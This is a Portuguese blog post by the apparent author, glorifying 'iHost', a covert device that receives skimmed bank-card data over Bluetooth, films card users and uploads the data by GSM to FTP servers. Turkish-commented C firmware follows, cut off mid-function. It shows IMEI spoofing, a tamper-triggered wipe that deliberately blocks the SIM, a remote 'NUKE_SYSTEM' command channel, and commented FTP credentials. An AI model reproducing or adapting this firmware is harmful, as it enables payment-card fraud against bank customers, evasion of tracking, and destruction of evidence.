ChaO's Truth
Publicado em

iHost: A Anatomia do Meu Agente Invisível em Campo

Autores
  • avatar
    Nome
    Çağatay Evyapan - ChaO
    Twitter
iHost: Anatomia do Meu Agente Invisível em Campo

O iSkimmer foi uma revolução, sim. Ele rasgava as blindagens mais confiáveis dos bancos como se fossem lenços de papel. Mas tinha um problema: ter que voltar à cena do crime para recuperar os dados coletados era tão tolo quanto um caçador que acampa ao lado da própria armadilha. Eu precisava remover esse ato final — aquele com o maior risco de captura — completamente do roteiro.

A solução tinha que ser muito mais do que um simples modem. Eu precisava de um agente autônomo em campo — um que pudesse tomar suas próprias decisões, despistar o inimigo e se autodestruir no momento em que sentisse a captura.

Um caça F-117 stealth не é apenas um "avião". É uma filosofia projetada em torno da evasão de radares. Da mesma forma, o iHost não era apenas um "dispositivo de transferência de dados". Ele era meu agente invisível em campo, a personificação em carne e osso da minha filosofia paranoica.

Aqui está a anatomia, nunca antes contada, desse agente.

Princípio 1: Modo Fantasma - O Camaleão Digital

A maior arma de um agente é sua identidade. Ou melhor, a falta dela. A existência inteira do iHost foi construída sobre esse princípio.

  • O Passaporte Mutável (IMEI Dinâmico): As redes GSM rastreiam um dispositivo por sua impressão digital: o número IMEI. Antes de cada missão, o iHost criava uma nova identidade para si (através da função gsmUpdate). A função _imeiDegistir dentro do código selecionava aleatoriamente um prefixo de IMEI válido pertencente a diferentes marcas — de LG a Samsung, de Prestigio a SimCom —, completava-o com dígitos aleatórios e gerava um IMEI válido. Isso significava que o iHost aparecia para a rede como um telefone diferente a cada vez. Hoje um LG, amanhã um Samsung. Era como um agente entrando em cada país com um passaporte diferente. Impossível de rastrear.

  • Falando Apenas em Sussurros (Bluetooth Cego): Para todos os outros dispositivos, o iHost era um fantasma que não existia. Ele não gritava constantemente "Estou aqui!", como os dispositivos padrão. Ele ouvia apenas aquele sussurro específico vindo do endereço secreto de seu iSkimmer pareado, que estava gravado em sua memória. Ele não aceitava, nem mesmo reconhecia, qualquer outra solicitação de conexão. Era como falar em uma sala lotada com uma senha que apenas seu próprio agente conhece.

O iHost era um sussurro no vácuo digital. Apenas aqueles que deveriam ouvi-lo, podiam.

Princípio 2: Sobrevivência - A Cápsula de Cianeto e o Código da Imortalidade

Um agente pode ser capturado. O que importa é o que ele deixa para trás. O iHost foi projetado para não deixar nada para trás.

  • A Cápsula de Cianeto (nukeSystem): Um sensível TAMPER_SWITCH (interruptor anti-violação) colocado na carcaça do dispositivo estava lá para detectar a menor interferência física. No momento em que alguém tentava abrir a carcaça, este interruptor enviava um sinal e iniciava o protocolo irreversível: nukeSystem(). Era o suicídio digital.

    1. Morte Cerebral: Todas as configurações, senhas e dados no cérebro do dispositivo — a memória Flash — eram apagados e sobrescritos com dados-lixo.
    2. Destruição da Identidade: O cartão SIM era permanentemente bloqueado pela inserção repetida de códigos PIN/PUK incorretos.
    3. Queimando os Arquivos: Todos os registros de vídeo e dados armazenados na memória do módulo GSM eram destruídos.
    4. O Adeus Final: O dispositivo mudava seu IMEI uma última vez e se reiniciava. A perícia forense ficaria com nada além de uma pilha de metal e plástico ininterrogável, com o cérebro apagado e sem identidade.
  • O Código da Imortalidade (Proteção Watchdog): Mas e se ele travasse em campo devido a um bug de software? Eu também tinha uma contramedida para isso. Enquanto funções críticas como btUpdate estavam em execução, eu deliberadamente parava de "alimentar" o timer "Watchdog" do hardware do sistema. Se o software travasse, este "cão de guarda" faminto reiniciava o sistema à força. Isso garantia que o iHost nunca travaria em campo. Se ele morresse, ele simplesmente renasceria.

Princípio 3: Autonomia - O Cérebro em Campo

O iHost не apenas recebia e transmitia dados para mim. Ele pensava, decidia e executava sua missão.

  • O Ponto Morto (komutParse): Toda vez que o iHost se conectava ao seu servidor FTP, ele procurava por um arquivo de comando secreto chamado cmd.txt. Isso era exatamente como o "ponto morto" dos filmes de espionagem. Com uma simples linha de texto que eu escrevia naquele arquivo, eu podia alterar remotamente todo o comportamento do dispositivo. Eu podia estender o tempo de gravação de vídeo, atualizar os servidores aos quais ele se conectava ou, no pior cenário, enviar o comando fatal <!NUKE_SYSTEM>, ordenando um fim honroso para meu agente.

  • Coleta Automatizada de Evidências (camRecord): Esta foi uma das jogadas mais inteligentes do iHost. Ao receber um pacote de dados de cartão bem-sucedido do iSkimmer, ele não apenas salvava os dados. Ele ativava automaticamente sua câmera e gravava um vídeo daquele momento. Isso significava fundir dados abstratos com provas concretas. Ele selava os dados a um tempo e lugar concretos.

O Ápice: Cada Agente, sua Própria Armadura

Acima de todas essas características, havia talvez a camada de segurança mais elegante. Todas as configurações críticas no dispositivo eram criptografadas com um algoritmo chamado TEA (Tiny Encryption Algorithm) antes de serem escritas na memória Flash. Mas aqui estava o diferencial: a chave de criptografia era diferente para cada dispositivo.

A chave era gerada combinando o ID único e imutável do processador (SYSTEM_GetUnique()), que foi gravado nele durante a fabricação.

O que isso significa?

Mesmo que um iHost fosse capturado e sua criptografia fosse quebrada após meses de trabalho, a chave descoberta seria válida apenas para aquele dispositivo específico. Não teria efeito sobre as centenas de outros agentes da frota. Cada um usava uma armadura impenetrável, forjada sob medida a partir de seu próprio DNA.

Conclusão: Uma Mentalidade Moldada em Código

O iHost foi mais do que um projeto de hardware; foi um reflexo da minha mentalidade na época. Uma filosofia paranoica, que calculava todas as possibilidades e que se baseava não na confiança, mas no princípio da desconfiança.

Ele era meu olho invisível em campo, meu punho autônomo e meu soldado leal, pronto para se sacrificar a qualquer momento para evitar a captura.

E sim, esse soldado ainda pode estar por aí em algum lugar, em seu sono mais profundo, esperando pelo sinal certo.

Porque alguns sistemas nunca desligam de verdade. Eles apenas adormecem.


iHost.c
/*********************************************************************************************************************************
 * @file    iHost.c
 * @author  ChaO
 * @date    2008
 *
 * @brief   iHost ana kontrol modülü. Bluetooth (BLE) çevre birimlerinden veri toplar ve GSM üzerinden güncellemeler gönderir.
 *
 * @details
 *          Bu ana modül, bir BLE central cihazı olarak sürekli bağlantı bekler. Gelen bağlantıları
 *          (iSkimmer, iPinpad) önceden tanımlanmış Bluetooth adreslerine göre filtreleyerek doğrular.
 *          Yetkilendirilmiş bir cihazdan veri alımı tamamlanıp bağlantı sonlandığında, bir kamera
 *          kaydı (camRecord) tetikler.
 *
 *          Sistem, periyodik olarak bir GSM güncellemesi (gsmUpdate) yapmak üzere bir soft timer
 *          kullanır. Olayları zaman damgalamak için sistem başlangıcından itibaren sayan bir
 *          CryoTimer'dan yararlanılır.
 *
 * @note    Tasarım Notu: Güç tüketimini optimize etmek için GSM modülünün hem regülatör
 *          hem de modül enable pinleri birlikte kontrol edilmelidir. Aksi takdirde modül
 *          ekstra akım çeker.
 *
 *********************************************************************************************************************************/
#include "AllDevicesOrtak.h"
#include "AllDevicesInit.h"
#include "iHostDefs.h"
#include "iHostInit.h"
#include "iHost_gsmUpdate.h"

#include "native_gecko.h"
#include "em_letimer.h"
#include "em_emu.h"

/* Standart Bluetooth Struct'ları, Bağlantı handle'ı */
struct gecko_cmd_packet* evt;
struct gecko_msg_system_get_bt_address_rsp_t* rspget;

/*
 * Gelen ve RamDisk'e yazılacak bilgiler
 *
 * Özellikle Global olarak deklare edildi
 * Farklı switch'ler içersinde değişken erişimlerinde sorun olabilir
 * (Zaten derleyici de uyarı veriyor)
 *
 */
uint8_t	 	kimBaglandi		= dtNone;						/* Bağlanan kimliği iSkimmer/iPinpad 								*/
uint8_t  	connHandle  	= 0;							/* Bağlantı işlemleri için tutucu 									*/
uint32_t	selfDateTime	= 0;							/* iHost'un btUpdate anındaki DateTime 								*/

btDurumlar_TypeDef			btDurum;						/* Bağlantı durumları, ve sonuç 									*/

uint8_t  	lenBLEPacket 	= 0;							/* Gelen Paketin büyüklüğü 											*/
uint16_t 	runningLenData	= 0,							/* Gelmesi gerekenden ne kadarının geldiği bilgisi 					*/
			btUpdateLen		= 0;							/* btUpdate esnasında gelecek toplam veri miktarı (header hariç)	*/
bool		successBT		= false; 						/* btUpdate'in başarılı olup olmadığı 								*/


int main(void)
{
	initIHost();
	btDurum	= drDisconnected;								/* BLE Durumu başlangıcı 											*/
	yavasla(1);												/* Açılışta yavaşlasın 												*/

//dikkatBirDefayaMahsusIHostSetup(); while(1) { WDOG_Feed(); }

	/* Eğer cihazın COMMON BT adresi henüz yazılmadıysa; yaz ve sistemi reset et (Yeni adres reset'ten sonra aktif oluyor) 		*/
	rspget = gecko_cmd_system_get_bt_address();
	if ( (rspget->address.addr[0] != iHostBTAddr.addr[0]) || (rspget->address.addr[5] != iHostBTAddr.addr[5]) )
	{
		xprint("Cihazin BT Adresi set edildi. Reset ediliyor")

		gecko_cmd_system_set_identity_address(iHostBTAddr, 1);	/* 1 yerine 0 yazarsam cihazın public adresini kullanıyor		*/
		gecko_cmd_system_reset(0);
	}

	/*
	 * System Variables flashtan yüklenerek deşifre edilir
	 * 		"DUMPING" bulunamazsa daha önce NUKE yapılsın yada yapılmasın tekrar çalıştırılır
	 * 		Burası DEAD LOOP haline gelir
	 *
	 */
	flashRead();
	if ( !(strstr(systemVariables.enDetect, "DUMPING")) )
	{
		xprint("DUMPING Bulunamadi");
		nukeSystem();
	}

	/* Eğer henüz iHost yerine yerleştirilmediyse, setupIHost() Prosedürü */
	if ( !(strstr(systemVariables.aranacakNo, "12345678")) )
	{ setupIHost_videoCall(); }

	xprint("***** SAVAS MODU BASLADI *****");
	initTamper();								/* Tamper Switch ve Interrupt'lar enable 				*/
	gsmUpdate();								/* Her reset işleminden sonra gsmUpdate yapılır 		*/
	yavasla(0);									/* Sistem BLE Hızına çıkartılır 						*/

	while (1)
	{
		evt = gecko_peek_event();
		switch (BGLIB_MSG_ID(evt->header)) {

		/* Sistem ilk çalışmaya başladığında bir kez buraya gelir */
		case gecko_evt_system_boot_id:

			/* Peridyotik GSM upload yanısıra Advertise Kilitlenmesi sorununu çözecek bir aspirin - X Saatlik soft timer */
			gecko_cmd_hardware_set_lazy_soft_timer(systemVariables.updatePeridyotic * 32768*60*60, 32768, 1, 0);	/* İkinci parametre, birinciden sonra en fazla geçebilecek zamanı gösteriyor = 1 saniye 	*/

			gecko_cmd_gatt_set_max_mtu(247);											/* Max mtu set edilir 																									*/
			gecko_cmd_le_gap_set_advertise_timing(0, 480, 480, 0, 0);					/* Saniyede 3 advertise * 160 = 480 .. 100uA kadar yakıyor. iSkimmer EN KÖTÜ 250ms'de bağlanıyo! 						*/
			gecko_cmd_le_gap_start_advertising(0, le_gap_general_discoverable, le_gap_connectable_scannable);

			xprint("BLE Boot, advertise basladi");
		break;

		case gecko_evt_le_connection_opened_id:
			/*
			 * TimeOut her halukarda güvenlik için başlatılmalı, belki connection_close çalışmaz ve açık kalır?
			 * 		TimeOut değeri 8 saniye olarak yapıldı
			 *		Sondaki değer SingleShot
			 *		Her bağlantı kurulduğunda Tek Sefer çalıştırılan bir Timer
			 *			Bağlantı sonunda yine de kapatılır
			 *
			 */
			gecko_cmd_hardware_set_lazy_soft_timer(32768 * 8, 32768, 0, 1);
			connHandle = evt->data.evt_le_connection_opened.connection;

			btDurum   	 	= drConnected;
			runningLenData	= 0;
			successBT		= false;

			ZAMAN_SIFIRLA;

			/*
			 * Beklenen bir client olup olmadığını kontrol et
			 * Beklenmeyen bir bağlantı ise, bağlantıyı kapat..
			 *
			 */
			if ( (iSkimmerBTAddr.addr[0] == evt->data.evt_le_connection_opened.address.addr[0]) &&
				 (iSkimmerBTAddr.addr[1] == evt->data.evt_le_connection_opened.address.addr[1]) &&
				 (iSkimmerBTAddr.addr[2] == evt->data.evt_le_connection_opened.address.addr[2]) &&
				 (iSkimmerBTAddr.addr[3] == evt->data.evt_le_connection_opened.address.addr[3]) &&
				 (iSkimmerBTAddr.addr[4] == evt->data.evt_le_connection_opened.address.addr[4]) &&
				 (iSkimmerBTAddr.addr[5] == evt->data.evt_le_connection_opened.address.addr[5]) )
			{
				kimBaglandi = dtiSkimmer;

				xprint("iSkimmer baglandi");
			} else {
				kimBaglandi = dtNone;
				btDurum 	= drDone;

				xprint("Beklenmeyen birisi. Baglanti kapatiliyor!");
#ifdef DEBUG
successBT = true;
xprint("Bos baglandi. DEBUG camRecord() yapiliyor");
#endif
			}
		break;

		case gecko_evt_hardware_soft_timer_id: 									/* Timeout olduğunda stDone olarak işaretler, gereği ilgili rutinde yapılacaktır 		*/

			if (evt->data.evt_hardware_soft_timer.handle == 0) {				/* Bağlantı timeout Timer 																*/
				btDurum = drDone;

				xprint("Timeout oldu, baglanti kapatiliyor!");
			} else
			if (evt->data.evt_hardware_soft_timer.handle == 1) {
				/*
				 * Cihaz peridyotik reset eder
				 * 		Bu sayede otomatik peridyotik gsmUpdate() yapılır
				 * 		BLE Kilitlenmelerine karşı etkilidir
				 *
				 *
				 */
				xprint("Peridyotik Reset islemi - Kilitlenme Onlemi - gsmUpdate()");

				resetSistem();
			}

		break;

		case gecko_evt_gatt_mtu_exchanged_id:

			xprint("MTU degisimi bitti: %i", (int)evt->data.evt_gatt_mtu_exchanged.mtu);
		break;

		case gecko_evt_gatt_server_attribute_value_id:

			/*
			 * Eğer herhangi bir olumsuz durumdan dolayı stDone değilse
			 * 		Bağlantı kapatılmaya çalışılmıyorsa
			 *
			 */
			if (btDurum != drDone) {
				lenBLEPacket = evt->data.evt_gatt_server_attribute_value.value.len;

				/* lenData'nın maxPacketLength sınırını geçip geçmediğini kontrol et */
				if (lenBLEPacket > maxBLEPacketLength)
				{
					btDurum = drDone;

					xprint("Paket buyuklugu maxBLEPacketLenght den uzun: %i, baglanti kapatiliyor!", lenBLEPacket);
				} else
				{
					if (btDurum == drConnected)
					{
						if (lenBLEPacket == BT_BUFFER_HEADER_SIZE) {			/* İlk gelen veri btBuffer Header'ı olmak zorunda 										*/

							xprint("btUpdateBufferHeader alindi. Uzunlugu: %i", lenBLEPacket);

							memcpy(btUpdateHeader, &evt->data.evt_gatt_server_attribute_value.value.data, BT_BUFFER_HEADER_SIZE);

							/*
							 * 2 byte tüm btUpdateBuffer'ın toplam uzunluğu
							 * 3 byte btUpdate anındaki DateTime
							 * 3 byte System ID
							 * 2 byte btUpdate anındaki Battery Voltage (CİHAZ AÇILIŞINDA, DCDC BYPASS DURUMUNDAYKEN ÖLÇÜLÜR!)
							 *
							 *	Toplam 10 byte
							 *
							 */
							btUpdateLen = (btUpdateHeader[0] << 8) | (btUpdateHeader[1]);

							/*
							 * Mevcut btBuffer + Gelecek veri MAX_BTBUFFER_SIZE'ı geçmesine izin verme (kritik!)
							 *		Buraya gelmesi çok düşük bir ihtimal, belkide hiç gelmeyecektir ama yine de önlem alınmalı
							 *
							 *		btDurum = drDone olarak yapılır, bağlantı kapatılması sağlanır
							 *		successBT = true yapılıyor, kamera kaydı yapılması sağlanır
							 *
							 */
							if (btUpdateBuffer->counter + btUpdateLen > MAX_BTBUFFER_SIZE)
							{
								btDurum   = drDone;							/* Hafızadaki veri nekadar olursa olsun GSM Upload'a Force yaparak gönder 					*/
								successBT = true;							/* recordCam() yapılması sağlanır 															*/

								xprint("RamDisk dolu, %d/%d camRecord() yapiliyor", btUpdateLen, btUpdateBuffer->counter);
							} else
							{
								selfDateTime 	= CRYOTIMER_CounterGet();	/* iHost'un şu anki DateTime bilgisi 														*/

								/*
								 * btUpdateBuffer.data'ya iHost Header olarak:
								 *
								 * 			3 byte iHost DateTime bilgisi
								 * 			BT_BUFFER_HEADER_SIZE byte uzunluğunda btUpdateBuffer Header eklenir
								 *
								 *	btUpdateBuffer.index BURADA ARTTIRILMAZ
								 *		Header'dan sonra veri gelmezse karışıklık olmasın diye
								 *		Veri geldiğinde bu durum zarifçe çözümlenmiştir
								 *
								 *		Ama eğer başka veri gelmeyecekse (iSkimmer boş bağlantı yapmış olabilir)
								 *			o zaman btUpdateBuffer.counter sadece header olacak şekilde düzenlenir
								 *
								 */
								btUpdateBuffer->data[btUpdateBuffer->counter + runningLenData] 	  	= selfDateTime >> 24;
								btUpdateBuffer->data[btUpdateBuffer->counter + runningLenData + 1]  = selfDateTime >> 16;
								btUpdateBuffer->data[btUpdateBuffer->counter + runningLenData + 2]  = selfDateTime >> 8;

								memcpy(btUpdateBuffer->data + IHOST_HEADER_SIZE + btUpdateBuffer->counter,
										evt->data.evt_gatt_server_attribute_value.value.data, lenBLEPacket);

								BAS_BTUPDATEBUFFER_HEADER;

								if (btUpdateLen == 0) {
									/*
									 * Eğer BOŞ kayıt gönderildiyse
									 *
									 * 		btUpdateBuffer.counter = Başındaki header kadar yapılır
									 *
									 * 		Ama unutulmamalıdır ki, header içersinde bulunan Counter değeri hala sıfırdır!
									 * 			Çünkü iSkimmer boş bir kayıt göndermiştir (Kayıt Insert'dir ve Decode yapılamamıştır)
									 * 			Sadece camRecord yapılır
									 *
									 */
									btUpdateBuffer->counter = IHOST_HEADER_SIZE + BT_BUFFER_HEADER_SIZE;
									btDurum   = drDone;						/* Hafızadaki veri nekadar olursa olsun GSM Upload'a Force yaparak gönder 					*/
									successBT = true;						/* recordCam() yapılması sağlanır 															*/

									xprint("btUpdateBuffer Uzunluk sifir. camRecord() yapiliyor")
								} else
								{ btDurum = drDataReceive;	}				/* Bağlantı durumunu veri alışına izin verecek şekilde değiştir 							*/

							}
						} else {
							btDurum = drDone;

							xprint("btUpdateBuffer Header beklenenden farkli: %i, baglanti kapatiliyor!", (int) lenBLEPacket);
						}

					} else
					if (btDurum == drDataReceive) {

						memcpy(btUpdateBuffer->data + IHOST_HEADER_SIZE + BT_BUFFER_HEADER_SIZE + btUpdateBuffer->counter + runningLenData,
								evt->data.evt_gatt_server_attribute_value.value.data, lenBLEPacket);

						runningLenData = runningLenData + lenBLEPacket;				/* Şu anda gelen veri miktarını güncelle 														*/
						if (runningLenData >= btUpdateLen)							/* Eğer gelen veri miktarı, Gelmesi gelene eşitse (birkaç byte büyük de olsa) kaydet, bitir 	*/
						{
							btUpdateBuffer->counter += IHOST_HEADER_SIZE +
									BT_BUFFER_HEADER_SIZE + runningLenData;			/* btUpdateBuffer.lenBuffer'ı yeni kaydedilen miktar kadar arttır 								*/

							btDurum  	= drDone;									/* Çıkış yap 																					*/
							successBT 	= true;										/* recordCam() yapılması sağlanır 																*/

							xprint("Veri alimi basariyla tamamlandi");
						}

						xprint("Veri alindi. Uzunlugu: %i", lenBLEPacket);

					}
				}
			}

		break;

		/*
		 *	Bağlantının kapanmasından sonra
		 *		Eğer Bluetooth'dan gelen veri beklenen veri ise o zaman camRecord() yapılır
		 *		Değilse advertise tekrar başlatılır
		 *
		 */
		case gecko_evt_le_connection_closed_id:

			if (successBT)
			{
				BAS_IHOST_BTBUFFER;

				gecko_cmd_system_halt(1);			/* Henüz Advertising yok, Stack da dursun 							*/
				yavasla(1);							/* Sistem yavaşlatılır 												*/
				camRecord(btUpdateBuffer);			/* Cam Kaydı yap 													*/
				yavasla(0);							/* Sistem BT Hızına çıkarılır 										*/
				gecko_cmd_system_halt(0);			/* Stack Resume yapsın 												*/
				btDurum = drDisconnected;			/* Durumu başlangıç pozisyonuna al 									*/
				successBT = false;					/* Birden fazla kez buraya gelirse, tekrar camRecord() çalışmasın 	*/
			}

			gecko_cmd_le_gap_start_advertising(0, le_gap_general_discoverable, le_gap_connectable_scannable);

			xprint("Advertise yeniden basladi");
		break;

		default:
			break;
		}
		/* Switch Sonu */

		/*
		 * Timer durdurulur ki işlem yapılıyorken karışıklık çıkmasın (çıkıyor!)
		 * Bağlantı kapatılır
		 *
		 */
		if (btDurum == drDone)
		{
			xprint("drDone, baglanti kapatiliyor");

			btDurum = drDisconnected;								/* Durumu başlangıç pozisyonuna al, birden fazla close sistemi kilitliyor 	*/
			gecko_cmd_le_connection_close(connHandle);				/* Bağlantıyı kapat 														*/
			gecko_cmd_hardware_set_lazy_soft_timer(0, 0, 0, 1);		/* Timer'ı Remove yap 														*/
		}

		WDOG_Feed(); 												/* Köpeği besle, havlayıp reset etmesin 									*/
		gecko_sleep_for_ms(gecko_can_sleep_ms());					/* Uyuyacak zaman varsa uyusun 												*/
	}


}

iHost_gsmUpdate.c
/*********************************************************************************************************************************
 * @file    iHost_gsmUpdate.c
 * @author  ChaO
 * @date    2008
 *
 * @brief   GSM modülü aracılığıyla tüm veri iletişimini, uzaktan komut almayı ve kamera kaydını yönetir.
 *
 * @details
 *          Bu dosya, iHost cihazının GSM modülü ile olan tüm etkileşimlerini içerir. Ana
 *          fonksiyonları `gsmUpdate` ve `camRecord`'dur.
 *
 *          `gsmUpdate` periyodik olarak çalışarak veya gerektiğinde çağrılarak:
 *          - GSM modülünü başlatır ve GPRS üzerinden internete bağlanır (APN).
 *          - Birincil veya ikincil FTP sunucusuna giriş yapar.
 *          - Sunucudan komut dosyasını indirir ve `komutParse` ile işleyerek cihazı uzaktan günceller.
 *          - Cihaz hafızasındaki tüm veri ve video dosyalarını FTP'ye yükler (`uploadGSM`).
 *
 *          `camRecord` fonksiyonu ise:
 *          - Kamera modülünü aktif ederek video kaydı başlatır.
 *          - Bluetooth'tan gelen veri tamponunu (`btUpdateBuffer`) XMODEM protokolü
 *          ile GSM modülünün dosya sistemine aktarır (`xmodemSend`).
 *          - Kaydedilen video ve aktarılan veri dosyalarını ilişkilendirir.
 *
 *          Dosya ayrıca IMEI değiştirme, SIM kartı bloke etme (`nukeSystem`) gibi güvenlik
 *          özelliklerini ve modülün güç yönetimi (uyku/uyanma) fonksiyonlarını barındırır.
 *
 *********************************************************************************************************************************/
#include "AllDevicesOrtak.h"
#include "AllDevicesInit.h"
#include "iHostDefs.h"
#include "iHost_gsmUpdate.h"
#include "iHostInit.h"

#include "native_gecko.h"
#include "em_leuart.h"
#include "string.h"

rxBuffer_TypeDef rxBuffer;									/* UART Datasının geldiği Global Buffer 	*/
struct gecko_msg_system_get_random_data_rsp_t* randomVal;	/* randomVal struct tanımlaması				*/

void nukeSystem(void);
void komutParse(void);
void initGSM(void);
gsmCommandResult_TypeDef sendGSMCommand(char *commandGSM, char *commandGSM2, char *commandGSM3, bool sadeceOK, uint32_t timeOut);

/*
 * Her gsmUpdate() öncesi modülün IMEI değiştirilir
 * 		Eğer daha önceki gsmUpdate() işlemlerinde sorun çıktıysa SimCom TAC kullanılır
 * 		Sorun yaşanmadıysa, Random TAC kullanılır
 *
 */
void _imeiDegistir(bool forceNonSimCom)
{
	char imei[20];

	if ( (forceNonSimCom) || (systemVariables.imeiHATA < 4) )
	{ createIMEI(imei, 0); } else
	{ createIMEI(imei, 1); }

	sendGSMCommand(GSM_IMEI_CHECK, "", "", false, GSM_TIMEOUT_2);		/* IMEI Sorgulanır			*/

#ifndef DEBUG															/* Eğer DEBUG yapılmıyorsa 	*/
	sendGSMCommand(GSM_IMEI_SET, imei, "", true,  GSM_TIMEOUT_2);		/* IMEI Değiştirilir 		*/
	sendGSMCommand(GSM_IMEI_CHECK, "", "", false, GSM_TIMEOUT_2);		/* IMEI Sorgulanır 			*/
#endif
}

/*
 * txGonder ile buffer serial'den gönderilir
 * 		Uzunluk kadar gönderilir
 *
 * 		stopOnNULL ile string basılırken 0x00'da durması sağlanır
 * 			Raw data basılıyorsa 0x00'larda durmadan lenTxBuffer kadar basma işlemi devam eder
 *
 */
void _txGonder(char *txBuffer, uint16_t lenTxBuffer, bool stopOnNULL)
{
	uint16_t dongu = 0;

	while (dongu < lenTxBuffer)						/* Her halukarda max. olarak lenTxBuffer kadar basma işlemi yap 		*/
	{
		if (stopOnNULL)
		{ if (txBuffer[dongu] == 0) { break; } }	/* Eğer string basılacaksa 0x00 (NULL) 'da durması istenir 				*/

		LEUART_Tx(LEUART0, txBuffer[dongu++]);		/* LEUART'dan bas 														*/
	}
}

/*
 * nukeSystem yaparak herşeyi siler
 * 		Flash silinir
 * 		SIM PIN ve PUK'lar hatalı girilerek SIM Kart bloke edilir
 *
 * 		PIN 4 rakamlı girilmeli
 * 		PUK 8 rakamlı girilmeli
 *
 */
void nukeSystem(void)
{
	xprint("nukeSystem!!!!!!!!");

	memset( (uint32_t *) &systemVariables, 0, sizeof(systemVariables));			/* systemVariables'ı sil 														*/
	flashWrite();																/* Silinen systemVariables'ı encrypt ederek tekrar yaz, flash'ın amına koy		*/

	initGSM();		/* Temel iletişim başlasın */

	/* Debug yapılırken sim'i tamamen kullanılamaz hale getirmesin */
#ifndef DEBUG
	xprint("PIN hizlica yokediliyor");
	for (uint8_t i = 0; i < 10; i++)
	{
		_txGonder(GSM_SIM_PIN_FUCK, sizeof(GSM_SIM_PIN_FUCK), true);			/* Önce 30 defa PIN göndererek SIM PIN'i devre dışı bırak 						*/
		bekle(50, true, 0);														/* Uyumadan kısa süre bekle 													*/
	}
	xprint("PUK hizlica yokediliyor");
	for (uint8_t i = 0; i < 30; i++)
	{
		_txGonder(GSM_SIM_PUK_FUCK, sizeof(GSM_SIM_PUK_FUCK), true);			/* PIN iptal edildikten sonra 30 defa PUK göndererek SIM PUK'i devre dışı bırak */
		bekle(50, true, 0);														/* Uyumadan kısa süre bekle 													*/
	}
#endif

	sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, 	"", "", true, GSM_TIMEOUT_2);		/* Upload Directory gir 														*/
	sendGSMCommand(GSM_FS_DEL, 		 	 "*.*", "", true, GSM_TIMEOUT_2);		/* Hepsini sil 																	*/
	sendGSMCommand(GSM_FS_CD_VIDEO_DIR, 	"", "", true, GSM_TIMEOUT_2);		/* Video Directory gir 															*/
	sendGSMCommand(GSM_FS_DEL, 		 	 "*.*", "", true, GSM_TIMEOUT_2);		/* Hepsini sil 																	*/
	sendGSMCommand(GSM_FS_CD_ROOT_DIR, 		"", "", true, GSM_TIMEOUT_2);		/* Root Directory gir 															*/
	sendGSMCommand(GSM_FS_DEL, 		 	 "*.*", "", true, GSM_TIMEOUT_2);		/* Hepsini sil 																	*/
	sendGSMCommand(GSM_FS_CD_AUDIO_DIR, 	"", "", true, GSM_TIMEOUT_2);		/* Audio Directory gir															*/
	sendGSMCommand(GSM_FS_DEL, 		 	 "*.*", "", true, GSM_TIMEOUT_2);		/* Hepsini sil 																	*/
	sendGSMCommand(GSM_FS_CD_PICTURE_DIR, 	"", "", true, GSM_TIMEOUT_2);		/* Picture Directory gir 														*/
	sendGSMCommand(GSM_FS_DEL, 		 	 "*.*", "", true, GSM_TIMEOUT_2);		/* Hepsini sil 																	*/
	sendGSMCommand(GSM_FS_CD_VCALL_DIR, 	"", "", true, GSM_TIMEOUT_2);		/* VideoCall Directory gir 														*/
	sendGSMCommand(GSM_FS_DEL, 		 	 "*.*", "", true, GSM_TIMEOUT_2);		/* Hepsini sil 																	*/

	_imeiDegistir(true);			/* IMEI değiştir, forceNonSimCom = true */
	gecko_cmd_system_reset(0);
}

/*
 * FTP Server'dan gelen komut dosyası işlenir
 *
 * 		RX buffer'da komutlar şu şekilde ayrılmış olarak durmakta:
 * 				<!CAMWAIT=2><!CAMRECORD=15><!BASKAKOMUT>
 *
 */
void komutParse()
{
	xprint("komutParse() basladi");

///* DEBUG için kullanılır, aman dikkat */
//	sprintf(rxBuffer.data, "<!CAM_WAIT=2><!CAM_RECORD=15><!UPDATE_PERIDYOTIC=3><!UPDATE_FILELIMIT=6>"
//						   "<!FTP_SERVER1=ftp.testftp1.zom><!FTP_USER1=Test user 1><!FTP_PASSWORD1=testpw>"
//			     	 	   "<!FTP_SERVER2=ftp.gglstatics.xyz><!FTP_USER2=u678253584.a31a98><!FTP_PASSWORD2=D38DLrVDHqNr>"
//			     	 	   "<!CAM_HSTART=30><<!CAM_HSTOP=301><!CAM_VSTART=10><<!CAM_VSTOP=201>");
///* DEBUG için kullanılır, aman dikkat */

	uint16_t 	counter 	= 0;		/* Ana counter 				*/
	uint8_t		inKomut 	= 0;		/* Komut counter 			*/
	uint8_t		inParametre = 0;		/* Parametre counter 		*/
	char		komut[50];				/* Komut'un kendisi 		*/
	char		parametre[20];			/* Komut'un parametresi 	*/
	while (true)
	{
		if ( (counter >= sizeof(rxBuffer.data)) || (rxBuffer.data[counter] == 0) ) { break; }	/* Eğer sona ulaşıldıysa döngüden çık 		*/

		if (rxBuffer.data[counter++] == '!') {				/* Komut başına gelindiyse, counter'ı arttır 									*/
			memset(komut, 	  0, sizeof(komut));			/* Komut'u temizle 																*/
			memset(parametre, 0, sizeof(parametre));		/* Komut'u temizle 																*/
			inKomut = 0; inParametre = 0;					/* Komut ve Parametre index 0 													*/
			while (true)									/* Komut sonuna kadar döngü														*/
			{
				/* Her komut "=" veya ">" ile bitebilir. Ayrıca komut uzunluğu da kontrol edilir ki hatalı komut yüzünden DeadLoop olmasın	*/
				if ( (rxBuffer.data[counter] == '=') || (rxBuffer.data[counter] == '>') || (counter >= sizeof(rxBuffer.data)) ) { break; }

				komut[inKomut++] = rxBuffer.data[counter++];
			}

			if (rxBuffer.data[counter++] == '=') {	/* Eğer '=' Varsa komut parametresini al, Parametre olsun veya olmasın counter'ı arttır ki sonraki değerin başına gidilsin */
				while (true)
				{
					/* Komut parametresi '>' ile biter. Ayrıca komut uzunluğu da kontrol edilir ki hatalı komut yüzünden DeadLoop olmasın 	*/
					if ( (rxBuffer.data[counter] == '>') || (counter >= sizeof(rxBuffer.data)) ) { break; }

					parametre[inParametre++] = rxBuffer.data[counter++];
				}
			}
			xprint("Bulunan Komut: \"%s\" - Parametre: \"%s\"", komut, parametre);
		}

		if ( strstr(komut, "NUKE_SYSTEM") > 0 )
		{ nukeSystem(); 	 									} else
		if ( strstr(komut, "CAM_WAIT") > 0 )
		{ systemVariables.camWait = myAtoi(parametre); 	 		} else
		if ( strstr(komut, "CAM_RECORD") > 0 )
		{ systemVariables.camRecord = myAtoi(parametre); 		} else
		if ( strstr(komut, "UPDATE_PERIDYOTIC") > 0 )
		{ systemVariables.updatePeridyotic = myAtoi(parametre); } else
